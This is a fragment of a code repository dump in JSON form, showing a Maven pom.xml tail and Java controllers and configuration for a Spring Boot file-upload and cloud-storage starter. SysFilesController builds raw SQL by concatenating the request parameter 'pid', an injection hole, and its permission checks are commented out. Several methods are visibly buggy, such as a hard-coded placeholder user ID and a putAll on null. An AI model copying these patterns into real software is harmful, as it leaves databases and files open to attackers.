</dependency>\n        <!-- aws s3 -->\n        <dependency>\n            <groupId>com.amazonaws</groupId>\n            <artifactId>aws-java-sdk-s3</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-common-base</artifactId>\n\t\t\t<version>${jun.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-swagger2-spring-boot-starter</artifactId>\n\t\t\t<version>${jun.version}</version>\n\t\t</dependency>\n        <!--<dependency>\n\t\t     <groupId>com.tencentcloudapi</groupId>\n\t\t     <artifactId>tencentcloud-sdk-java</artifactId>\n\t\t     <version>3.1.270</version>\n\t\t</dependency>-->\n\t\t<!-- https://mvnrepository.com/artifact/com.tencentcloudapi/tencentcloud-sdk-java-common -->\n\t\t<dependency>\n\t\t\t<groupId>com.tencentcloudapi</groupId>\n\t\t\t<artifactId>tencentcloud-sdk-java-common</artifactId>\n\t\t\t<version>3.1.838</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t  <groupId>com.qiniu</groupId>\n\t\t  <artifactId>qiniu-java-sdk</artifactId>\n\t\t  <version>[7.7.0, 7.7.99]</version>\n\t\t</dependency>\n\t\t<!--七牛云上传图片服务-->\n\t     <!--<dependency>\n\t      <groupId>com.squareup.okhttp3</groupId>\n\t      <artifactId>okhttp</artifactId>\n\t      <version>3.14.2</version>\n\t      <scope>compile</scope>\n\t    </dependency>-->\n\t    <!--<dependency>\n\t      <groupId>com.google.code.gson</groupId>\n\t      <artifactId>gson</artifactId>\n\t      <version>2.8.5</version>\n\t      <scope>compile</scope>\n\t    </dependency>-->\n\t    <dependency>\n\t      <groupId>com.qiniu</groupId>\n\t      <artifactId>happy-dns-java</artifactId>\n\t      <version>0.1.6</version>\n\t      <scope>test</scope>\n\t    </dependency>\n\t    <dependency>\n\t      <groupId>junit</groupId>\n\t      <artifactId>junit</artifactId>\n\t      <version>4.12</version>\n\t      <scope>test</scope>\n\t    </dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.aliyun.oss/aliyun-sdk-oss -->\n\t\t<dependency>\n\t\t\t<groupId>com.aliyun.oss</groupId>\n\t\t\t<artifactId>aliyun-sdk-oss</artifactId>\n\t\t\t<version>3.17.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.qcloud</groupId>\n\t\t\t<artifactId>cos_api</artifactId>\n\t\t\t<version>4.4</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<artifactId>junit</artifactId>\n\t\t\t\t\t<groupId>junit</groupId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.zxing</groupId>\n\t\t\t<artifactId>javase</artifactId>\n\t\t\t<version>3.2.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.deepoove</groupId>\n\t\t\t<artifactId>poi-tl</artifactId>\n\t\t\t<version>1.9.1</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/com.alibaba/easyexcel -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>easyexcel</artifactId>\n\t\t\t<version>3.0.5</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-freemarker</artifactId>\n\t\t</dependency>\n\t\t<!--  配置管理  -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-configuration-processor</artifactId>\n\t\t\t<!--             <optional>true</optional> -->\n\t\t</dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.tomcat.embed</groupId>\n            <artifactId>tomcat-embed-core</artifactId>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>net.dreamlu</groupId>\n\t\t\t<artifactId>mica-auto</artifactId>\n\t\t</dependency>\n        <dependency>\n            <groupId>commons-fileupload</groupId>\n            <artifactId>commons-fileupload</artifactId>\n            <version>1.5</version>\n            <scope>compile</scope>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/config/FileAutoConfig.java",
    "content": "package io.github.wujun728.file.config;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @author wujun\n * @date 2021/3/19\n */\n@Configuration\n@ComponentScan(basePackages = \"io.github.wujun728.file\")\n@MapperScan(basePackages = \"io.github.wujun728.file.mapper\")\npublic class FileAutoConfig {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/config/FileProperties.java",
    "content": "package io.github.wujun728.file.config;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.StringUtils;\n\n/**\n * 文件上传参数配置类\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Primary\n@Component\n@Data\n@ConfigurationProperties(prefix = \"file\")\npublic class FileProperties {\n\n\n\n    private String path;\n    private String url;\n    private String accessUrl;\n    \n    private String qiniuAccessKey;\n    private String qiniuBucketName;\n    private String qiniuDomain;\n    private String qiniuPrefix;\n    private String qiniuSecretKey;\n    private String type;\n\n\n\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n\n        this.url = url;\n\n        //set accessUrl\n        if (StringUtils.isEmpty(url)) {\n            this.accessUrl = null;\n        }\n        this.accessUrl = url.substring(url.lastIndexOf(\"/\")) + \"/**\";\n        System.out.println(\"accessUrl=\" + accessUrl);\n    }\n\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/config/ResourcesConfig.java",
    "content": "//package io.github.wujun728.file.config;\n//\n//import io.github.wujun728.common.constant.Constants;\n//import io.github.wujun728.file.common.comfig.FileUploadProperties;\n//import lombok.extern.slf4j.Slf4j;\n//import org.springframework.context.annotation.Configuration;\n//import org.springframework.web.servlet.config.annotation.*;\n//\n//import javax.annotation.Resource;\n//\n///**\n// * 通用配置\n// *\n// */\n//@Slf4j\n//@Configuration\n////@EnableConfigurationProperties(FileUploadProperties.class)\n//public class ResourcesConfig implements WebMvcConfigurer {\n//\n//  @Resource\n//  private FileUploadProperties fileUploadProperties;\n//\n//    @Override\n//    public void addCorsMappings(CorsRegistry registry) {\n//        WebMvcConfigurer.super.addCorsMappings(registry);\n//        registry.addMapping(\"/**\").allowedHeaders(\"*\").allowedMethods(\"POST\", \"GET\", \"PUT\", \"DELETE\")\n//                .allowedOrigins(\"*\");\n//    }\n//\n//    /**\n//     * 默认首页的设置，当输入域名是可以自动跳转到默认指定的网页\n//     */\n//    @Override\n//    public void addViewControllers(ViewControllerRegistry registry) {\n////\t\tregistry.addViewController(\"/\").setViewName(\"forward:\" + indexUrl);\n//        registry.addViewController(\"/\").setViewName(\"forward:\" + \"login.html\");\n//    }\n//\n//    /**\n//     * 发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n//     */\n//\n//\n//    /**\n//     * @description: 访问静态文件\n//     * @date: 2021/4/15\n//     */\n//\t@Override\n//\tpublic void addResourceHandlers(ResourceHandlerRegistry registry) {\n//        /** 本地文件上传路径 */\n//        registry.addResourceHandler(\"/files/**\").addResourceLocations(\"file:\" + fileUploadProperties.getPath() + \"/\");\n//\n//        /** 文件下载映射配置,同下 */\n//        registry.addResourceHandler(fileUploadProperties.getAccessUrl()).addResourceLocations(\"file:\" + fileUploadProperties.getPath());\n//\n//\t\tlog.debug(\"System.getProperty(\\\"user.dir\\\")\");\n//\t\t// 访问路径\n//\t\tregistry.addResourceHandler(\"/api/upload/**\")\n//\t\t\t\t// 映射真实路径\n//\t\t\t\t.addResourceLocations(\"file:\" + System.getProperty(\"user.dir\") + \"/\");// 必须加\"/\"，不然映射不到\n//\t}\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/controller/FileControl.java",
    "content": "package io.github.wujun728.file.controller;\n\n\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.servlet.ServletOutputStream;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport io.github.wujun728.file.service.FileService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport com.alibaba.fastjson2.JSON;\nimport com.alibaba.fastjson2.JSONObject;\nimport com.google.zxing.BarcodeFormat;\nimport com.google.zxing.EncodeHintType;\nimport com.google.zxing.MultiFormatWriter;\nimport com.google.zxing.WriterException;\nimport com.google.zxing.client.j2se.MatrixToImageWriter;\nimport com.google.zxing.common.BitMatrix;\nimport com.google.zxing.qrcode.decoder.ErrorCorrectionLevel;\n\n@Controller\n@RequestMapping(value = \"/file\")\npublic class FileControl {\n    @Autowired\n    private FileService fileService;\n\n    @RequestMapping(value = \"/Login\")\n    public String index() {\n        return \"login\";\n    }\n\n    //http://localhost:8080/public//Qrcode?url=baidu.com&name=wujun\n    @RequestMapping(value = \"/Qrcode\")\n    public void test(HttpServletResponse response,HttpServletRequest request) throws IOException, WriterException {\n        //生成二维码\n        int width = 150;\n        int height = 150;\n        String url = request.getParameter(\"url\");\n        String name = request.getParameter(\"name\");\n        System.out.println(url+\"&name=\"+name);\n        String format = \"png\";\n        String content = url+\"&name=\"+name;\n        ServletOutputStream out = response.getOutputStream();\n        Map<EncodeHintType,Object> config = new HashMap<>();\n        config.put(EncodeHintType.CHARACTER_SET,\"UTF-8\");\n        config.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.M);\n        config.put(EncodeHintType.MARGIN, 0);\n        BitMatrix bitMatrix = new MultiFormatWriter().encode(content, BarcodeFormat.QR_CODE,width,height,config);\n        MatrixToImageWriter.writeToStream(bitMatrix,format,out);\n        System.out.println(\"二维码生成完毕，已经输出到页面中。\");\n    }\n\n//    @RequestMapping(value = \"/register\")\n//    @ResponseBody\n//    public String register(HttpServletRequest request) {\n////        获取账号密码\n//        String name = request.getParameter(\"name\");\n//        String pass = request.getParameter(\"pass\");\n//        //创建一个用户对象\n//        User user = new User(name, pass);\n//        String s = registerService.addOne(user);\n//        return s;\n//    }\n\n//    @RequestMapping(value = \"/login\")\n//    @ResponseBody\n//    public String login(HttpServletRequest request) {\n//        //        获取账号密码\n//        String name = request.getParameter(\"name\");\n//        String pass = request.getParameter(\"pass\");\n//        User user = new User(name, pass);\n//        String s = loginService.loginService(user);\n//        return s;\n//    }\n\n\n    //文件上传\n    @RequestMapping(value = \"/upload\")\n    @ResponseBody\n    public String upload(HttpServletRequest request, HttpServletResponse response) {\n        String s = fileService.uploadFile(request);\n        HashMap<String, Object> map = new HashMap<>();\n        map.put(\"result\", s);\n        //转为json\n        JSONObject jsonObject = new JSONObject(map);\n        String res = jsonObject.toString();\n        return res;\n    }\n\n    //文件列表\n    @RequestMapping(value = \"/filedir\")\n    @ResponseBody\n    public JSONObject filedir(HttpServletRequest request) {\n        String res = fileService.fileList(request);\n        JSONObject jsonObject = JSON.parseObject(res);\n        jsonObject.remove(\"message\");\n        return jsonObject;\n    }\n    @RequestMapping(value = \"/filelist\")\n    @ResponseBody\n    public JSONObject filelist(HttpServletRequest request) {\n        String res = fileService.fileList(request);\n        JSONObject jsonObject = JSON.parseObject(res);\n        jsonObject.remove(\"message\");\n        return jsonObject;\n    }\n//    文件下载\n    @RequestMapping(value = \"/filedown\")\n    public void filedown(HttpServletRequest request,HttpServletResponse response) throws UnsupportedEncodingException {\n        fileService.fileDown(request, response);\n    }\n    //文件删除\n    @RequestMapping(value = \"/filedel\")\n    @ResponseBody\n    public String filedel(HttpServletRequest request,HttpServletResponse response){\n        String msg = \"\";\n        msg = fileService.fileDel(request,response);\n        return msg;\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/controller/QiniuController.java",
    "content": "package io.github.wujun728.file.controller;\n\nimport java.io.File;\n\nimport javax.security.auth.message.AuthException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport io.github.wujun728.file.utils.FileUtils;\nimport io.github.wujun728.file.utils.QiniuUtils;\nimport io.github.wujun728.file.utils.ExecuteResult;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.multipart.MultipartFile;\n\n@Controller\n@RequestMapping(value = \"\")\npublic class QiniuController {\n\n    private static Logger logger = LoggerFactory.getLogger(QiniuController.class);\n\n\n    @RequestMapping(\"qiniuCommon\")\n    private String qiniuCommon(HttpServletRequest request){\n        return \"qiniuCommon\";\n    }\n\n\n    /**\n     * @param request\n     * @param multipartFile\n     * @return\n     */\n    @RequestMapping(value = \"/qiniuUpload\", method = RequestMethod.POST)\n    @ResponseBody\n    public String qiniuUpload(HttpServletRequest request, HttpServletResponse response, @RequestParam(\"imagefile\") MultipartFile multipartFile) {\n        ExecuteResult<String> executeResult = new ExecuteResult<String>();\n\n        QiniuUtils QiniuUtils = new QiniuUtils();\n        try {\n            /**\n             * 上传文件扩展名\n             */\n            String filenameExtension = multipartFile.getOriginalFilename().substring(multipartFile.getOriginalFilename().lastIndexOf(\".\"), multipartFile.getOriginalFilename().length());\n\n            /**\n             * MultipartFile 转 file 类型\n             */\n            File file = FileUtils.multipartToFile(multipartFile);\n\n            /**\n             * 七牛云文件上传 服务  file文件 以及 文件扩展名\n             */\n            executeResult = QiniuUtils.uploadFile2(file, filenameExtension);\n            if (!executeResult.isSuccess()) {\n                return \"失败\" + executeResult.getErrorMessages();\n            }\n\n        } catch (AuthException e) {\n            logger.error(\"AuthException\", e);\n        }\n\n        return executeResult.getResult();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/controller/SysFilesController.java",
    "content": "package io.github.wujun728.file.controller;\n\nimport com.alibaba.fastjson2.JSON;\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.deepoove.poi.XWPFTemplate;\nimport com.deepoove.poi.data.PictureRenderData;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.file.config.FileProperties;\nimport io.github.wujun728.file.utils.FileUtils;\nimport io.github.wujun728.file.entity.SysFilesEntity;\nimport io.github.wujun728.file.service.SysFilesService;\n\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport lombok.extern.slf4j.Slf4j;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.core.io.DefaultResourceLoader;\nimport org.springframework.core.io.ResourceLoader;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport javax.annotation.Resource;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 文件上传\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@RestController\n@RequestMapping(\"/sysFiles\")\n@Api(tags = \"文件管理\")\n@Slf4j\npublic class SysFilesController {\n\t@Resource\n\tprivate SysFilesService sysFilesService;\n\n\n\t@Autowired\n\tFileProperties fileUploadProperties;\n\n\t@ApiOperation(value = \"新增\")\n\t@PostMapping(\"/upload\")\n\t//@RequiresPermissions(value = { \"sysFiles:add\", \"sysContent:update\", \"sysContent:add\" }, logical = Logical.OR)\n\tpublic Result add(@RequestParam(value = \"file\") MultipartFile file, @RequestParam(value = \"bizid\",required = false) String bizid,\n\t\t\t\t\t  @RequestParam(value = \"biztype\",required = false) String biztype) {\n\t\tlog.info(biztype);\n\t\tlog.info(bizid);\n\t\t// 判断文件是否空\n\t\tif (file == null || file.getOriginalFilename() == null\n\t\t\t\t|| \"\".equalsIgnoreCase(file.getOriginalFilename().trim())) {\n\t\t\treturn Result.fail(\"文件为空\");\n\t\t}\n\t\treturn sysFilesService.saveFile(file, biztype, bizid);\n\t}\n\n\t@ApiOperation(value = \"删除\")\n\t@DeleteMapping(\"/delete\")\n\t//@RequiresPermissions(\"sysFiles:delete\")\n\tpublic Result delete(@RequestBody @ApiParam(value = \"id集合\") List<String> ids) {\n\t\tsysFilesService.removeByIdsAndFiles(ids);\n\t\treturn Result.success();\n\t}\n\n//\t@ApiOperation(value = \"查询分页数据\")\n//\t@PostMapping(\"/listByPage\")\n//\t//@RequiresPermissions(\"sysFiles:list\")\n//\tpublic Result findListByPage(@RequestBody SysFilesEntity sysFiles) {\n//\t\tPage page = new Page(sysFiles.getPage(), sysFiles.getLimit());\n//\t\tIPage<SysFilesEntity> iPage = sysFilesService.page(page,\n//\t\t\t\tWrappers.<SysFilesEntity>lambdaQuery().orderByDesc(SysFilesEntity::getCreateDate));\n//\t\treturn Result.success(iPage);\n//\t}\n\t\n//\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n//\t@ApiOperation(value = \"查询分页数据\")\n//\t@PostMapping(\"/listByPageUser\")\n//\t//@RequiresPermissions(\"sysFiles:list\")\n//\tpublic Result listByPageUser(@RequestBody SysFilesEntity sysFiles) {\n//\t\tPage page = new Page(sysFiles.getPage(), sysFiles.getLimit());\n//\t\tIPage<SysFilesEntity> iPage = sysFilesService.page(page,\n//\t\t\t\tWrappers.<SysFilesEntity>lambdaQuery()\n//\t\t\t\t.eq(SysFilesEntity::getRefBizid, sysFiles.getRefBizid())\n//\t\t\t\t.eq(SysFilesEntity::getDictBiztype, sysFiles.getDictBiztype())\n//\t\t\t\t.orderByDesc(SysFilesEntity::getCreateDate));\n//\t\treturn Result.success(iPage);\n//\t}\n\n\n\n\n\t@ApiOperation(value = \"生成简历\")\n\t@PostMapping(\"/genResume\")\n//\t@RequiresPermissions(value = { \"sysFiles:add\", \"sysContent:update\", \"sysContent:add\" }, logical = Logical.OR)\n\tpublic Result genResume(@RequestParam(value = \"bizid\",required = false) String bizid,\n\t\t\t\t\t\t\t@RequestParam(value = \"username\",required = false) String username,\n\t\t\t\t\t\t\t@RequestParam(value = \"realName\",required = false) String realName,\n\t\t\t\t\t\t\t@RequestParam(value = \"deptName\",required = false) String deptName,\n\t\t\t\t\t\t\t@RequestParam(value = \"biztype\",required = false) String biztype) throws IOException {\n\t\tMap<String, Object> resume = new HashMap<>();\n\t\tMap<String, Object> data = new HashMap<>();\n\t\tResourceLoader resourceLoader = new DefaultResourceLoader();\n\t\torg.springframework.core.io.Resource resource1 = resourceLoader.getResource(\"classpath:files/\"+\"logo_resume.jpg\");\n\t\tdata.put(\"pictures\", new PictureRenderData(100, 120, resource1.getFile().getAbsolutePath()));\n\t\t//SysUser user = userMapper.getUserByName(username);\n\t\tMap m = null;//JSON.parseObject(JSON.toJSONString(user), Map.class);\n\t\tdata.putAll(m);\n\t\tList<Map<String,Object>> list11=new ArrayList<>();\n\t\tSystem.err.println(JSON.toJSON(data));\n\t\tlist11.add(data);\n\t\tresume.put(\"resume\",list11);\n\t\torg.springframework.core.io.Resource resource = resourceLoader.getResource(\"classpath:files/\"+\"简历模板2.docx\");\n\t\tInputStream inputStream =resource.getInputStream() ;\n\t\tXWPFTemplate template = XWPFTemplate.compile(inputStream).render( resume);\n\t\tString newFile = fileUploadProperties.getPath()+realName+\"简历\"+username+\".docx\";\n\t\tFile file = new File(newFile);\n\t\tFileUtils.createFile(file);\n\t\ttemplate.writeAndClose(new FileOutputStream(newFile));\n\t\tlog.info(bizid);\n\t\t// 判断文件是否空\n\t\tif (file == null) {\n\t\t\treturn Result.fail(\"文件为空\");\n\t\t}\n\t\treturn sysFilesService.saveFile(file, biztype, bizid);\n\t}\n\n\n\n\t@SuppressWarnings(\"unchecked\")\n\t@ApiOperation(value = \"查询分页数据\")\n\t@PostMapping(\"/listByPage\")\n//\t@RequiresPermissions(\"sysFiles:list\")\n\tpublic Result findListByPage(@RequestBody SysFilesEntity sysFiles) {\n\t\tPage page = new Page(sysFiles.getPage(), sysFiles.getLimit());\n\t\tIPage<SysFilesEntity> iPage = sysFilesService.page(page,\n\t\t\t\tWrappers.<SysFilesEntity>lambdaQuery().orderByDesc(SysFilesEntity::getCreateDate));\n\t\tList<SysFilesEntity> records = iPage.getRecords();\n\t\tString userid = \"sessionService.getCurrentUsername()\";\n\t\trecords.forEach(item -> {\n\t\t\tif(userid.equalsIgnoreCase(item.getCreator())) {\n\t\t\t\titem.setIsOwner(1);\n\t\t\t}\n\t\t});\n\t\treturn Result.success(iPage);\n\t}\n\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\t@ApiOperation(value = \"查询分页数据\")\n\t@PostMapping(\"/listByPageUser\")\n//\t@RequiresPermissions(\"sysFiles:list\")\n\tpublic Result listByPageUser(@RequestBody SysFilesEntity sysFiles) {\n\t\tPage page = new Page(sysFiles.getPage(), sysFiles.getLimit());\n\t\tIPage<SysFilesEntity> iPage = sysFilesService.page(page,\n\t\t\t\tWrappers.<SysFilesEntity>lambdaQuery()\n\t\t\t\t\t\t.eq(SysFilesEntity::getRefBizid, sysFiles.getRefBizid())\n//\t\t\t\t.eq(SysFilesEntity::getDictBiztype, sysFiles.getDictBiztype())\n\t\t\t\t\t\t.orderByDesc(SysFilesEntity::getCreateDate));\n\t\tList<SysFilesEntity> records = iPage.getRecords();\n\t\tString userid = \"sessionService.getCurrentUsername()\";\n\t\trecords.forEach(item -> {\n\t\t\tif(userid.equalsIgnoreCase(item.getCreator())) {\n\t\t\t\titem.setIsOwner(1);\n\t\t\t}\n\t\t});\n\t\treturn Result.success(iPage);\n\t}\n\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\t@ApiOperation(value = \"查询分页数据\")\n\t@PostMapping(\"/listByPageUserProjectID\")\n\tpublic Result listByPageUserProjectID(@RequestBody SysFilesEntity sysFiles) {\n\t\tString pid = sysFiles.getRefBizid();\n\t\tPage page = new Page(sysFiles.getPage(), sysFiles.getLimit());\n\t\tString tmpSQL = getProjectFilesRefIDS(pid);\n\t\tIPage<SysFilesEntity> iPage = sysFilesService.page(page,\n\t\t\t\tWrappers.<SysFilesEntity>lambdaQuery()\n//\t\t\t\t.eq(SysFilesEntity::getRefBizid, sysFiles.getRefBizid())\n\t\t\t\t\t\t.inSql(true, SysFilesEntity::getRefBizid, tmpSQL )\n//\t\t\t\t.eq(SysFilesEntity::getRefBizid, sysFiles.getRefBizid())\n\t\t\t\t\t\t.orderByDesc(SysFilesEntity::getCreateDate));\n\t\tList<SysFilesEntity> records = iPage.getRecords();\n\t\tString userid = \"sessionService.getCurrentUsername()\";\n\t\trecords.forEach(item -> {\n\t\t\tif(userid.equalsIgnoreCase(item.getCreator())) {\n\t\t\t\titem.setIsOwner(1);\n\t\t\t}\n\t\t});\n\t\treturn Result.success(iPage);\n\t}\n\n\t@ApiOperation(value = \"查询userLogo\")\n\t@PostMapping(\"/getImgByBizid\")\n\tpublic Result getImgByBizid(@RequestBody SysFilesEntity sysFiles) {\n\t\tLambdaQueryWrapper<SysFilesEntity> queryWrapper = new LambdaQueryWrapper<>();\n\t\tqueryWrapper.eq(SysFilesEntity::getDictBiztype,sysFiles.getDictBiztype());\n\t\tqueryWrapper.eq(SysFilesEntity::getRefBizid,sysFiles.getRefBizid());\n\t\tqueryWrapper.orderByDesc(SysFilesEntity::getCreateDate);\n\t\tqueryWrapper.last(\" limit 1 \");\n\t\tList<SysFilesEntity> list = sysFilesService.list(queryWrapper);\n\t\tString userid = \"sessionService.getCurrentUsername()\";\n\t\tif(list.size()>0){\n\t\t\treturn Result.success(list.get(0));\n\t\t}else{\n\t\t\treturn Result.success();\n\t\t}\n\t}\n\n\n\tprivate String getProjectFilesRefIDS(String pid) {\n\t\tString tmpSQL = \" select  pjc.id -- ,pjc.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_contract pjc on t.project_code=pjc.refid_project_code_hide\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"'  \\r\\n\"\n\t\t\t\t+ \"\\r\\n  union  SELECT '\"+pid+\"'  from pj_project\"\n\t\t\t\t+ \"\t\tunion \\r\\n\"\n\t\t\t\t+ \"\t\tselect  pjp.id -- ,pjp.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_project_plan pjp on t.project_code=pjp.ref_project_code\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"' \\r\\n\"\n\t\t\t\t+ \"\\r\\n\"\n\t\t\t\t+ \"\t\tunion  \\r\\n\"\n\t\t\t\t+ \"\t\tselect  pjd.id -- ,pjd.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_project_draft pjd on t.project_code=pjd.ref_project_code\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"' \\r\\n\"\n\t\t\t\t+ \"\\r\\n\"\n\t\t\t\t+ \"\t\tunion  \\r\\n\"\n\t\t\t\t+ \"\t\tselect  pjr.id -- ,pjr.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_project_recheck pjr on t.project_code=pjr.ref_pcode\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"' \\r\\n\"\n\t\t\t\t+ \"\t\tunion  \\r\\n\"\n\t\t\t\t+ \"\t\tselect  pja.id -- ,pja.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_project_appraise pja on t.project_code=pja.ref_project_code\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"' \\r\\n\"\n\t\t\t\t+ \"\t\tunion  \\r\\n\"\n\t\t\t\t+ \"\t\tselect  pji.id -- ,pji.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_project_invoice pji on t.project_code=pji.ref_project_code\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"' \\r\\n\"\n\t\t\t\t+ \"\t\tunion  \\r\\n\"\n\t\t\t\t+ \"\t\tselect  pjm.id -- ,pjm.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_project_member pjm on t.project_code=pjm.ref_project_code\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"' \\r\\n\"\n\t\t\t\t+ \"\t\tunion  \\r\\n\"\n\t\t\t\t+ \"\t\tselect  pjt.id -- ,pjt.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_project_prodess_task pjt on t.project_code=pjt.ref_project_code\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"' \\r\\n\"\n\t\t\t\t+ \"\t\tunion \\r\\n\"\n\t\t\t\t+ \"\t\tselect  pjr1.id -- ,pjr1.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_project_report pjr1 on t.project_code=pjr1.ref_project_code\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"' \\r\\n\"\n\t\t\t\t+ \"\t\tunion \\r\\n\"\n\t\t\t\t+ \"\t\tselect  pjrn.id -- ,pjrn.*\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tfrom pj_project t\\r\\n\"\n\t\t\t\t+ \"\t\t\t\tleft join pj_project_reportnumber pjrn on t.project_code=pjrn.ref_reportnumber_code\\r\\n\"\n\t\t\t\t+ \"\t\twhere t.id='\"+pid+\"'  \";\n\t\treturn tmpSQL;\n\t}\n\n}\n"
  },
  {
